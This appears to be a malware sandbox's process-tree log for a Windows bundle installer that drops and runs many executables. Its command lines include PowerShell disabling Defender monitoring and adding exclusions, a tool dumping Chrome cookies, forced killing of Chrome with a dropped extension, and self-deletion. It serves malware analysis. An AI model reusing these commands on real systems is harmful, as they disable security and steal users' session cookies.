C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2324 /prefetch:82⤵PID:3164
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2500 /prefetch:12⤵PID:3620
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2528 /prefetch:12⤵PID:1712
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:12⤵PID:2436
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3788 /prefetch:12⤵PID:1324
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4560 /prefetch:82⤵PID:1476
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4504 /prefetch:82⤵PID:196
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4536 /prefetch:82⤵PID:3624
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4752 /prefetch:12⤵PID:3152
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5500 /prefetch:82⤵PID:876
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5476 /prefetch:82⤵PID:2192
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5876 /prefetch:82⤵PID:788
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5744 /prefetch:82⤵PID:1440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5848 /prefetch:12⤵PID:1476
-
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\setup.exe" --reenable-autoupdates --system-level2⤵PID:1844
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff7e6c0a890,0x7ff7e6c0a8a0,0x7ff7e6c0a8b03⤵PID:428
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4904 /prefetch:82⤵PID:788
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4904 /prefetch:12⤵PID:2784
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4036 /prefetch:12⤵PID:856
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3248 /prefetch:82⤵PID:3084
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3288 /prefetch:82⤵PID:2236
-
-
C:\Users\Admin\Desktop\setup_installx86-x64.exe"C:\Users\Admin\Desktop\setup_installx86-x64.exe"1⤵
- Suspicious use of SetWindowsHookEx
PID:2712 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1552 -
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:1300 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵PID:1148
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious use of AdjustPrivilegeToken
PID:492
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵PID:2788
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1152
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05110b84295dc.exe4⤵PID:2056
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05110b84295dc.exeWed05110b84295dc.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:1232 -
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05110b84295dc.exeC:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05110b84295dc.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4332
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed055ca3ac1ad3.exe4⤵PID:3124
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed055ca3ac1ad3.exeWed055ca3ac1ad3.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3164
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05179e74f5f0502.exe4⤵PID:2616
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05179e74f5f0502.exeWed05179e74f5f0502.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3248
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed051a48c11a13fad7b.exe4⤵PID:3688
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed051a48c11a13fad7b.exeWed051a48c11a13fad7b.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:828 -
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4528
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /stab C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4952
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Suspicious use of SetWindowsHookEx
PID:1916
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /stab C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Suspicious use of SetWindowsHookEx
PID:4016
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:11256
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /stab C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵PID:7792
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05ae32a364b2c31.exe4⤵PID:916
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05ae32a364b2c31.exeWed05ae32a364b2c31.exe5⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:3956
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05c6b77f55.exe /mixtwo4⤵PID:3488
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05c6b77f55.exeWed05c6b77f55.exe /mixtwo5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
PID:1884 -
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05c6b77f55.exeWed05c6b77f55.exe /mixtwo6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1544 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Wed05c6b77f55.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05c6b77f55.exe" & exit7⤵PID:4204
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Wed05c6b77f55.exe" /f8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1244
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed052811efdc9e3.exe4⤵PID:824
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed052811efdc9e3.exeWed052811efdc9e3.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:3220 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Wed052811efdc9e3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed052811efdc9e3.exe" & del C:\ProgramData\*.dll & exit6⤵PID:5712
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Wed052811efdc9e3.exe /f7⤵
- Kills process with taskkill
PID:5908
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
PID:2680
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05df191dfbc60c.exe4⤵PID:1084
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05df191dfbc60c.exeWed05df191dfbc60c.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1008
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed058c44b0ac82ee.exe4⤵PID:3676
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed058c44b0ac82ee.exeWed058c44b0ac82ee.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3752 -
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",6⤵PID:4976
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",7⤵
- Loads dropped DLL
PID:5060 -
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",8⤵PID:5444
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",9⤵
- Loads dropped DLL
PID:6116
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05920be87739219cb.exe4⤵PID:1012
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05920be87739219cb.exeWed05920be87739219cb.exe5⤵PID:3280
-
C:\Users\Admin\AppData\Local\364c3e6f-1d27-4406-a471-538c30929eff.bin"C:\Users\Admin\AppData\Local\364c3e6f-1d27-4406-a471-538c30929eff.bin"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3332
-
-
C:\Users\Admin\AppData\Local\f997de84-dd52-4ca1-821d-00ff01a9fa06.bin"C:\Users\Admin\AppData\Local\f997de84-dd52-4ca1-821d-00ff01a9fa06.bin"6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:3488
-
-
C:\Users\Admin\AppData\Local\b39ef636-a1d6-4ff6-98d7-32826b659889.bin"C:\Users\Admin\AppData\Local\b39ef636-a1d6-4ff6-98d7-32826b659889.bin"6⤵PID:4316
-
C:\Users\Admin\AppData\Roaming\1855060.exe"C:\Users\Admin\AppData\Roaming\1855060.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4276 -
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4108 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",9⤵
- Loads dropped DLL
PID:4680 -
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",10⤵PID:4832
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",11⤵
- Loads dropped DLL
PID:372
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05f8edfbe05bce6.exe4⤵PID:2352
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05f8edfbe05bce6.exeWed05f8edfbe05bce6.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4128 -
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",6⤵PID:4616
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",7⤵PID:4772
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",8⤵PID:4808
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed0560cb12c1f.exe4⤵PID:324
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0560cb12c1f.exeWed0560cb12c1f.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4180
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed0555acc9ced75.exe4⤵PID:688
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05adef517e454a1.exe4⤵PID:1388
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed05417d1201d2.exe4⤵PID:660
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed055a1be90d5891f6c.exe4⤵PID:200
-
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3368 -
C:\Windows\system32\resmon.exe"C:\Windows\system32\resmon.exe"2⤵PID:4884
-
C:\Windows\System32\perfmon.exe"C:\Windows\System32\perfmon.exe" /res3⤵
- Checks processor information in registry
- Suspicious behavior: GetForegroundWindowSpam
PID:4404
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05179e74f5f0502.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05179e74f5f0502.exe" /SILENT1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3028 -
C:\Users\Admin\AppData\Local\Temp\is-PBV9T.tmp\Wed05179e74f5f0502.tmp"C:\Users\Admin\AppData\Local\Temp\is-PBV9T.tmp\Wed05179e74f5f0502.tmp" /SL5="$502D8,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05179e74f5f0502.exe" /SILENT2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:4308 -
C:\Users\Admin\AppData\Local\Temp\is-3ACCE.tmp\windllhost.exe"C:\Users\Admin\AppData\Local\Temp\is-3ACCE.tmp\windllhost.exe" 773⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5076
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0555acc9ced75.exeWed0555acc9ced75.exe1⤵PID:4212
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0555acc9ced75.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0555acc9ced75.exe" -u2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4632
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0560cb12c1f.exeC:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0560cb12c1f.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4584
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05417d1201d2.exeWed05417d1201d2.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:832
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed055a1be90d5891f6c.exeWed055a1be90d5891f6c.exe1⤵
- Executes dropped EXE
- Drops Chrome extension
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1524 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe2⤵PID:368
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- Executes dropped EXE
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3280
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:4776 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xe8,0xec,0xf0,0xc4,0xf4,0x7ff8a3a64f50,0x7ff8a3a64f60,0x7ff8a3a64f703⤵PID:4340
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1660,2062975388879018020,6439131875588315708,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1708 /prefetch:83⤵PID:2308
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1660,2062975388879018020,6439131875588315708,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1656 /prefetch:23⤵PID:2680
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,2062975388879018020,6439131875588315708,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2640 /prefetch:13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4316
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,2062975388879018020,6439131875588315708,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2632 /prefetch:13⤵PID:4460
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1660,2062975388879018020,6439131875588315708,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2224 /prefetch:83⤵PID:4620
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,2062975388879018020,6439131875588315708,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3740 /prefetch:13⤵PID:5292
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,2062975388879018020,6439131875588315708,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3528 /prefetch:13⤵PID:5256
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,2062975388879018020,6439131875588315708,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4008 /prefetch:13⤵PID:5512
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,2062975388879018020,6439131875588315708,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5092 /prefetch:83⤵PID:5800
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,2062975388879018020,6439131875588315708,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4932 /prefetch:83⤵PID:5788
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,2062975388879018020,6439131875588315708,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4812 /prefetch:83⤵PID:5780
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,2062975388879018020,6439131875588315708,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4988 /prefetch:83⤵PID:5888
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-IOI2M.tmp\Wed05179e74f5f0502.tmp"C:\Users\Admin\AppData\Local\Temp\is-IOI2M.tmp\Wed05179e74f5f0502.tmp" /SL5="$4026E,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05179e74f5f0502.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:1096
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:4184 -
